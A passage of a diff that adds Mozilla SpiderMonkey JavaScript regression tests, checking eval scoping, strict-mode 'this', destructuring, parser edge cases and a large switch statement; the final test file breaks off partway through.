@@ -0,0 +1,29 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Jason Orendorff, Brendan Eich
+ */
+
+if (typeof newGlobal == 'function') {
+ var gsame = newGlobal('same-compartment');
+
+ gsame.eval("function f() { return this; }");
+ f = gsame.f;
+ assertEq(f(), gsame);
+
+ gsame.eval("function g() { 'use strict'; return this; }");
+ g = gsame.g;
+ assertEq(g(), undefined);
+
+ var gnew = newGlobal();
+
+ gnew.eval("function f() { return this; }");
+ f = gnew.f;
+ assertEq(f(), gnew);
+
+ gnew.eval("function g() { 'use strict'; return this; }");
+ g = gnew.g;
+ assertEq(g(), undefined);
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-640075.js b/js/src/tests/non262/regress/regress-640075.js
new file mode 100644
index 0000000000..449c6ef087
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-640075.js
@@ -0,0 +1,15 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+"use strict";
+try {
+ eval("(function() { eval(); function eval() {} })");
+ assertEq(0, 1);
+} catch (e) {
+ assertEq(e.name, "SyntaxError");
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-642247.js b/js/src/tests/non262/regress/regress-642247.js
new file mode 100644
index 0000000000..318079d727
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-642247.js
@@ -0,0 +1,13 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+if (typeof timeout == "function") {
+ assertEq(typeof timeout(), "number");
+ assertEq(typeof timeout(1), "undefined");
+}
+
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/regress/regress-643222.js b/js/src/tests/non262/regress/regress-643222.js
new file mode 100644
index 0000000000..52d3aa9cdf
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-643222.js
@@ -0,0 +1,12 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* This shouldn't trigger an assertion. */
+(function () {
+ eval("var x=delete(x)")
+})();
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-646820-1.js b/js/src/tests/non262/regress/regress-646820-1.js
new file mode 100644
index 0000000000..6a03ec4f1e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-646820-1.js
@@ -0,0 +1,9 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+(function () {
+ var [x, y] = [1, function () { return x; }];
+ assertEq(y(), 1);
+})();
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-646820-2.js b/js/src/tests/non262/regress/regress-646820-2.js
new file mode 100644
index 0000000000..e75c4d37cc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-646820-2.js
@@ -0,0 +1,11 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+(function () {
+ var obj = {prop: 1};
+ var [x, {prop: y}] = [function () { return y; }, obj];
+ assertEq(y, 1);
+ assertEq(x(), 1);
+})();
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-646820-3.js b/js/src/tests/non262/regress/regress-646820-3.js
new file mode 100644
index 0000000000..26a5aa814c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-646820-3.js
@@ -0,0 +1,9 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+(function () {
+ var [x, y] = [function () { return y; }, 13];
+ assertEq(x(), 13);
+})();
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-665355.js b/js/src/tests/non262/regress/regress-665355.js
new file mode 100644
index 0000000000..c027fa8a64
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-665355.js
@@ -0,0 +1,19 @@
+var x = new ArrayBuffer(2);
+
+var test = function(newProto) {
+try {
+ x.__proto__ = newProto;
+ return false;
+} catch(e) {
+ return true;
+}
+}
+
+// assert cycle doesn't work
+assertEq(test(x), true);
+
+// works
+assertEq(test({}), false);
+assertEq(test(null), false);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/regress/regress-672892.js b/js/src/tests/non262/regress/regress-672892.js
new file mode 100644
index 0000000000..57c8732eba
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-672892.js
@@ -0,0 +1,8 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+with (0)
+ for (var b in 0) // don't assert in parser
+ ;
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-672893.js b/js/src/tests/non262/regress/regress-672893.js
new file mode 100644
index 0000000000..497b6132f0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-672893.js
@@ -0,0 +1,18 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function f() {
+ return function () { return function () { return function () {
+ return function () { return function () { return function () {
+ return function () { return function () { return function () {
+ return function () { return function () { return function () {
+ return function () { return function () { return function (a) {
+ var v = a;
+ assertEq(v, 42);
+ return function() { return v; };
+ }; }; }; }; }; }; }; }; }; }; }; }; }; }; };
+};
+
+assertEq(f()()()()()()()()()()()()()()()(42)(), 42);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-68498-001.js b/js/src/tests/non262/regress/regress-68498-001.js
new file mode 100644
index 0000000000..cc84f9c94a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-68498-001.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 15 Feb 2001
+ *
+ * SUMMARY: var self = global JS object, outside any eval, is DontDelete
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=68498
+ * See http://bugzilla.mozilla.org/showattachment.cgi?attach_id=25251
+ *
+ * Brendan:
+ *
+ * "Demonstrate that variable statement outside any eval creates a
+ * DontDelete property of the global object"
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 68498;
+var summary ='Testing that variable statement outside any eval creates' +
+ ' a DontDelete property of the global object';
+
+
+// To be pedantic, use a variable named 'self' to capture the global object -
+// conflicts with window.self in browsers
+var _self = this;
+var actual = (delete _self);
+var expect =false;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-68498-002.js b/js/src/tests/non262/regress/regress-68498-002.js
new file mode 100644
index 0000000000..fabd307f55
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-68498-002.js
@@ -0,0 +1,64 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 15 Feb 2001
+ *
+ * SUMMARY: create a Deletable local variable using eval
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=68498
+ * See http://bugzilla.mozilla.org/showattachment.cgi?attach_id=25251
+ *
+ * Brendan:
+ *
+ * "Demonstrate the creation of a Deletable local variable using eval"
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 68498;
+var summary = 'Creating a Deletable local variable using eval';
+var statprefix = '; currently at expect[';
+var statsuffix = '] within test -';
+var actual = [ ];
+var expect = [ ];
+
+
+// Capture a reference to the global object -
+var self = this;
+
+// This function is the heart of the test -
+function f(s) {eval(s); actual[0]=y; return delete y;}
+
+
+// Set the actual-results array. The next line will set actual[0] and actual[1] in one shot
+actual[1] = f('var y = 42');
+actual[2] = 'y' in self && y;
+
+// Set the expected-results array -
+expect[0] = 42;
+expect[1] = true;
+expect[2] = false;
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i in expect)
+ {
+ reportCompare(expect[i], actual[i], getStatus(i));
+ }
+}
+
+
+function getStatus(i)
+{
+ return (summary + statprefix + i + statsuffix);
+}
diff --git a/js/src/tests/non262/regress/regress-68498-003.js b/js/src/tests/non262/regress/regress-68498-003.js
new file mode 100644
index 0000000000..fa3aa2ca20
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-68498-003.js
@@ -0,0 +1,68 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 15 Feb 2001
+ *
+ * SUMMARY: calling obj.eval(str)
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=68498
+ * See http://bugzilla.mozilla.org/showattachment.cgi?attach_id=25251
+ *
+ * Brendan:
+ *
+ * "Backward compatibility: support calling obj.eval(str), which evaluates
+ * str using obj as the scope chain and variable object."
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 68498;
+var summary = 'Testing calling obj.eval(str)';
+var statprefix = '; currently at expect[';
+var statsuffix = '] within test -';
+var actual = [ ];
+var expect = [ ];
+
+
+// Capture a reference to the global object -
+var self = this;
+
+// This function is the heart of the test -
+function f(s) {self.eval(s); return y;}
+
+
+// Set the actual-results array -
+actual[0] = f('var y = 43');
+actual[1] = 'y' in self && y;
+actual[2] = delete y;
+actual[3] = 'y' in self;
+
+// Set the expected-results array -
+expect[0] = 43;
+expect[1] = 43;
+expect[2] = true;
+expect[3] = false;
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i in expect)
+ {
+ reportCompare(expect[i], actual[i], getStatus(i));
+ }
+}
+
+
+function getStatus(i)
+{
+ return (summary + statprefix + i + statsuffix);
+}
diff --git a/js/src/tests/non262/regress/regress-68498-004.js b/js/src/tests/non262/regress/regress-68498-004.js
new file mode 100644
index 0000000000..43dc6e0499
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-68498-004.js
@@ -0,0 +1,96 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 15 Feb 2001
+ *
+ * SUMMARY: self.eval(str) inside a function
+ * NOTE: 'self' is just a variable used to capture the global JS object.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=68498
+ * See http://bugzilla.mozilla.org/showattachment.cgi?attach_id=25251
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=69441 (!!!)
+ *
+ * Brendan:
+ *
+ * "ECMA-262 Edition 3, 10.1.3 requires a FunctionDeclaration parsed as part
+ * of a Program by eval to create a property of eval's caller's variable object.
+ * This test evals in the body of a with statement, whose scope chain *is*
+ * relevant to the effect of parsing the FunctionDeclaration."
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 68498;
+var summary = 'Testing self.eval(str) inside a function';
+var statprefix = '; currently at expect[';
+var statsuffix = '] within test -';
+var sToEval='';
+var actual=[ ];
+var expect=[ ];
+
+
+// Capture a reference to the global object -
+var self = this;
+
+// You shouldn't see this global variable's value in any printout -
+var x = 'outer';
+
+// This function is the heart of the test -
+function f(o,s,x) {with(o) eval(s); return z;};
+
+// Run-time statements to pass to the eval inside f
+sToEval += 'actual[0] = typeof g;'
+sToEval += 'function g(){actual[1]=(typeof w == "undefined" || w); return x};'
+sToEval += 'actual[2] = w;'
+sToEval += 'actual[3] = typeof g;'
+sToEval += 'var z=g();'
+
+// Set the actual-results array. The next line will set actual[0] - actual[4] in one shot
+actual[4] = f({w:44}, sToEval, 'inner');
+actual[5] = 'z' in self && z;
+
+
+/* Set the expected-results array.
+ *
+ * Sample issue: why do we set expect[4] = 'inner'? Look at actual[4]...
+ * 1. The return value of f equals z, which is not defined at compile-time
+ * 2. At run-time (via with(o) eval(s) inside f), z is defined as the return value of g
+ * 3. At run-time (via with(o) eval(s) inside f), g is defined to return x
+ * 4. In the scope of with(o), x is undefined
+ * 5. Farther up the scope chain, x can be located as an argument of f
+ * 6. The value of this argument at run-time is 'inner'
+ * 7. Even farther up the scope chain, the name x can be found as a global variable
+ * 8. The value of this global variable is 'outer', but we should NOT have gone
+ * this far up the scope chain to find x...therefore we expect 'inner'
+ */
+expect[0] = 'function';
+expect[1] = 44;
+expect[2] = 44;
+expect[3] = 'function';
+expect[4] = 'inner';
+expect[5] = false;
+
+
+
+//------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i in expect)
+ {
+ reportCompare(expect[i], actual[i], getStatus(i));
+ }
+}
+
+
+function getStatus(i)
+{
+ return (summary + statprefix + i + statsuffix);
+}
diff --git a/js/src/tests/non262/regress/regress-694306.js b/js/src/tests/non262/regress/regress-694306.js
new file mode 100644
index 0000000000..84bfc1ded3
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-694306.js
@@ -0,0 +1,21 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var x;
+try {
+ eval("var {if} = {'if': 1};");
+} catch (exc) {
+ x = exc;
+}
+assertEq(x instanceof SyntaxError, true);
+assertEq("if" in this, false);
+
+x = undefined;
+try {
+ Function("var {if} = {'if': 1};");
+} catch (exc) {
+ x = exc;
+}
+assertEq(x instanceof SyntaxError, true);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-69607.js b/js/src/tests/non262/regress/regress-69607.js
new file mode 100644
index 0000000000..5cb3d2f2f5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-69607.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 21 Feb 2001
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=69607
+ *
+ * SUMMARY: testing that we don't crash on trivial JavaScript
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 69607;
+var summary = "Testing that we don't crash on trivial JavaScript";
+var var1;
+var var2;
+var var3;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+/*
+ * The crash this bug reported was caused by precisely these lines
+ * placed in top-level code (i.e. not wrapped inside a function) -
+ */
+if(false)
+{
+ var1 = 0;
+}
+else
+{
+ var2 = 0;
+}
+
+if(false)
+{
+ var3 = 0;
+}
+
+reportCompare('No Crash', 'No Crash', '');
+
diff --git a/js/src/tests/non262/regress/regress-698028-1.js b/js/src/tests/non262/regress/regress-698028-1.js
new file mode 100644
index 0000000000..fb1876b270
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-698028-1.js
@@ -0,0 +1,24 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+{
+ let x00, x01, x02, x03, x04, x05, x06, x07, x08, x09, x0a, x0b, x0c, x0d, x0e, x0f,
+ x10, x11, x12, x13, x14, x15, x16, x17, x18, x19, x1a, x1b, x1c, x1d, x1e, x1f,
+ x20, x21, x22, x23, x24, x25, x26, x27, x28, x29, x2a, x2b, x2c, x2d, x2e, x2f,
+ x30, x31, x32, x33, x34, x35, x36, x37, x38, x39, x3a, x3b, x3c, x3d, x3e, x3f,
+ x40, x41, x42, x43, x44, x45, x46, x47, x48, x49, x4a, x4b, x4c, x4d, x4e, x4f,
+ x50, x51, x52, x53, x54, x55, x56, x57, x58, x59, x5a, x5b, x5c, x5d, x5e, x5f,
+ x60, x61, x62, x63, x64, x65, x66, x67, x68, x69, x6a, x6b, x6c, x6d, x6e, x6f,
+ x70, x71, x72, x73, x74, x75, x76, x77, x78, x79, x7a, x7b, x7c, x7d, x7e, x7f,
+ x80, x81, x82, x83, x84, x85, x86, x87, x88, x89, x8a, x8b, x8c, x8d, x8e, x8f,
+ x90, x91, x92, x93, x94, x95, x96, x97, x98, x99, x9a, x9b, x9c, x9d, x9e, x9f,
+ xa0, xa1, xa2, xa3, xa4, xa5, xa6, xa7, xa8, xa9, xaa, xab, xac, xad, xae, xaf,
+ xb0, xb1, xb2, xb3, xb4, xb5, xb6, xb7, xb8, xb9, xba, xbb, xbc, xbd, xbe, xbf,
+ xc0, xc1, xc2, xc3, xc4, xc5, xc6, xc7, xc8, xc9, xca, xcb, xcc, xcd, xce, xcf,
+ xd0, xd1, xd2, xd3, xd4, xd5, xd6, xd7, xd8, xd9, xda, xdb, xdc, xdd, xde, xdf,
+ xe0, xe1, xe2, xe3, xe4, xe5, xe6, xe7, xe8, xe9, xea, xeb, xec, xed, xee, xef,
+ xf0, xf1, xf2, xf3, xf4, xf5, xf6, xf7, xf8, xf9, xfa, xfb, xfc, xfd, xfe, xff;
+ eval("");
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-698028-2.js b/js/src/tests/non262/regress/regress-698028-2.js
new file mode 100644
index 0000000000..7de8ac1451
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-698028-2.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses evalInFrame
+//
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var g = newGlobal({newCompartment: true});
+var dbg = new g.Debugger(this);
+
+if (typeof evalInFrame === 'function') {
+ let x00, x01, x02, x03, x04, x05, x06, x07, x08, x09, x0a, x0b, x0c, x0d, x0e, x0f,
+ x10, x11, x12, x13, x14, x15, x16, x17, x18, x19, x1a, x1b, x1c, x1d, x1e, x1f,
+ x20, x21, x22, x23, x24, x25, x26, x27, x28, x29, x2a, x2b, x2c, x2d, x2e, x2f,
+ x30, x31, x32, x33, x34, x35, x36, x37, x38, x39, x3a, x3b, x3c, x3d, x3e, x3f,
+ x40, x41, x42, x43, x44, x45, x46, x47, x48, x49, x4a, x4b, x4c, x4d, x4e, x4f,
+ x50, x51, x52, x53, x54, x55, x56, x57, x58, x59, x5a, x5b, x5c, x5d, x5e, x5f,
+ x60, x61, x62, x63, x64, x65, x66, x67, x68, x69, x6a, x6b, x6c, x6d, x6e, x6f,
+ x70, x71, x72, x73, x74, x75, x76, x77, x78, x79, x7a, x7b, x7c, x7d, x7e, x7f,
+ x80, x81, x82, x83, x84, x85, x86, x87, x88, x89, x8a, x8b, x8c, x8d, x8e, x8f,
+ x90, x91, x92, x93, x94, x95, x96, x97, x98, x99, x9a, x9b, x9c, x9d, x9e, x9f,
+ xa0, xa1, xa2, xa3, xa4, xa5, xa6, xa7, xa8, xa9, xaa, xab, xac, xad, xae, xaf,
+ xb0, xb1, xb2, xb3, xb4, xb5, xb6, xb7, xb8, xb9, xba, xbb, xbc, xbd, xbe, xbf,
+ xc0, xc1, xc2, xc3, xc4, xc5, xc6, xc7, xc8, xc9, xca, xcb, xcc, xcd, xce, xcf,
+ xd0, xd1, xd2, xd3, xd4, xd5, xd6, xd7, xd8, xd9, xda, xdb, xdc, xdd, xde, xdf,
+ xe0, xe1, xe2, xe3, xe4, xe5, xe6, xe7, xe8, xe9, xea, xeb, xec, xed, xee, xef,
+ xf0, xf1, xf2, xf3, xf4, xf5, xf6, xf7, xf8, xf9, xfa, xfb, xfc, xfd, xfe, xff;
+ evalInFrame(1, "");
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-698028-3.js b/js/src/tests/non262/regress/regress-698028-3.js
new file mode 100644
index 0000000000..98438aba8b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-698028-3.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs Debugger
+
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var g = newGlobal({newCompartment: true});
+var dbg = new Debugger(g);
+dbg.onDebuggerStatement = function (frame) { frame.eval(''); };
+var s = '{ let ';
+for (var i = 0; i < 128; i++)
+ s += 'x' + i + ', ';
+s += 'X = 0; debugger; }';
+g.eval(s);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-699682.js b/js/src/tests/non262/regress/regress-699682.js
new file mode 100644
index 0000000000..ad1b4e41ee
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-699682.js
@@ -0,0 +1,29 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// Don't assert trying to parse any of these.
+var a = ["({''})",
+ "({''} = {})",
+ "var {''};",
+ "var {'', a} = {a: 0};",
+ "var {'bad'};",
+ "({'bad'} = {bad: 0});",
+ "var {'if'};",
+ "function f({''}) {}",
+ "function f({a, 'bad', c}) {}"];
+
+var x;
+for (var i = 0; i < a.length; i++) {
+ x = undefined;
+ try {
+ eval(a[i]);
+ } catch (exc) {
+ x = exc;
+ }
+ assertEq(x instanceof SyntaxError, true);
+}
+assertEq("" in this, false);
+assertEq("bad" in this, false);
+assertEq("if" in this, false);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-71107.js b/js/src/tests/non262/regress/regress-71107.js
new file mode 100644
index 0000000000..ed0127712d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-71107.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 06 Mar 2001
+ *
+ * SUMMARY: Propagate heavyweightness back up the function-nesting
+ * chain. See http://bugzilla.mozilla.org/show_bug.cgi?id=71107
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 71107;
+var summary = 'Propagate heavyweightness back up the function-nesting chain.';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var actual = outer()()(); //call the return of calling the return of outer()
+ var expect = 5;
+ reportCompare(expect, actual, summary);
+}
+
+
+function outer () {
+ var outer_var = 5;
+
+ function inner() {
+ function way_inner() {
+ return outer_var;
+ }
+ return way_inner;
+ }
+ return inner;
+}
diff --git a/js/src/tests/non262/regress/regress-736792.js b/js/src/tests/non262/regress/regress-736792.js
new file mode 100644
index 0000000000..01744f6a8e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-736792.js
@@ -0,0 +1,23 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+if (typeof options == "function") {
+ var opts = options();
+ if (!/\bstrict_mode\b/.test(opts))
+ options("strict_mode");
+}
+
+var ok = false;
+try {
+ eval('foo = true;');
+} catch (e) {
+ if (/^ReferenceError:/.test(e.toString()))
+ ok = true;
+}
+
+if (ok)
+ reportCompare(0, 0, "ok");
+else
+ reportCompare(true, false, "this should have thrown a ReferenceError");
diff --git a/js/src/tests/non262/regress/regress-76054.js b/js/src/tests/non262/regress/regress-76054.js
new file mode 100644
index 0000000000..c82ebf487d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-76054.js
@@ -0,0 +1,123 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 16 May 2001
+ *
+ * SUMMARY: Regression test for bug 76054
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=76054
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=78706
+ * All String HTML methods should be LOWER case -
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 76054;
+var summary = 'Testing that String HTML methods produce all lower-case';
+var statprefix = 'Currently testing String.';
+var status = '';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+var s = 'xyz';
+
+status = 'anchor()';
+actual = s.anchor();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'big()';
+actual = s.big();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'blink()';
+actual = s.blink();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'bold()';
+actual = s.bold();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'italics()';
+actual = s.italics();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'fixed()';
+actual = s.fixed();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'fontcolor()';
+actual = s.fontcolor();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'fontsize()';
+actual = s.fontsize();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'link()';
+actual = s.link();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'small()';
+actual = s.small();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'strike()';
+actual = s.strike();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'sub()';
+actual = s.sub();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'sup()';
+actual = s.sup();
+expect = actual.toLowerCase();
+addThis();
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], getStatus(i));
+ }
+}
+
+
+function getStatus(i)
+{
+ return statprefix + statusitems[i];
+}
diff --git a/js/src/tests/non262/regress/regress-80981.js b/js/src/tests/non262/regress/regress-80981.js
new file mode 100644
index 0000000000..51b6ae844d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-80981.js
@@ -0,0 +1,3111 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 19 Nov 2001
+ * SUMMARY: Regression test for bug 80981.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=80981
+ * "Need extended jump bytecode to avoid "script too large" errors, etc."
+ *
+ * Before this bug was fixed, the script below caused a run-time error because
+ * its switch statement was too big. After the fix, SpiderMonkey should compile
+ * this script just fine. The same fix has not been made in Rhino, however,
+ * so it will continue to error there...
+ *
+ * If you ever run this test against an old SpiderMonkey shell to see the bug,
+ * you should run it interactively: i.e. launch the JS shell manually, and load
+ * the test manually. Do not run it via the test driver jsDriverl.pl. Why? -
+ * before the fix for bug 97646, the JS shell would error on this script, but
+ * would NOT give non-0 exit code. As a result, the test driver couldn't detect
+ * the error (it looks for non-0 exit codes).
+ *
+ */
+//-----------------------------------------------------------------------------
+var i2 = 3011;
+var n = new Array (i2);
+var err_num = 0;
+var i = 0;
+var j = 0;
+var k = 0;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ b ();
+ b4 ();
+ print('Number of errors = ' + err_num);
+}
+
+
+function b()
+{
+ b4 ();
+ b_after ();
+
+ for (i=0; i<i2; i++) {n[i] = 0;}
+ i = 0;
+
+ while (k++ <= i2)
+ {
+ switch (j = (k*73)%i2)
+ {
+ case 0: if (n[0]++ > 0) check ('a string 0'); break;
+ case 1: if (n[1]++ > 0) check ('a string 1'); break;
+ case 2: if (n[2]++ > 0) check ('a string 2'); break;
+ case 3: if (n[3]++ > 0) check ('a string 3'); break;
+ case 4: if (n[4]++ > 0) check ('a string 4'); break;
+ case 5: if (n[5]++ > 0) check ('a string 5'); break;
+ case 6: if (n[6]++ > 0) check ('a string 6'); break;
+ case 7: if (n[7]++ > 0) check ('a string 7'); break;
+ case 8: if (n[8]++ > 0) check ('a string 8'); break;
+ case 9: if (n[9]++ > 0) check ('a string 9'); break;
+ case 10: if (n[10]++ > 0) check ('a string 10'); break;
+ case 11: if (n[11]++ > 0) check ('a string 11'); break;
+ case 12: if (n[12]++ > 0) check ('a string 12'); break;
+ case 13: if (n[13]++ > 0) check ('a string 13'); break;
+ case 14: if (n[14]++ > 0) check ('a string 14'); break;
+ case 15: if (n[15]++ > 0) check ('a string 15'); break;
+ case 16: if (n[16]++ > 0) check ('a string 16'); break;
+ case 17: if (n[17]++ > 0) check ('a string 17'); break;
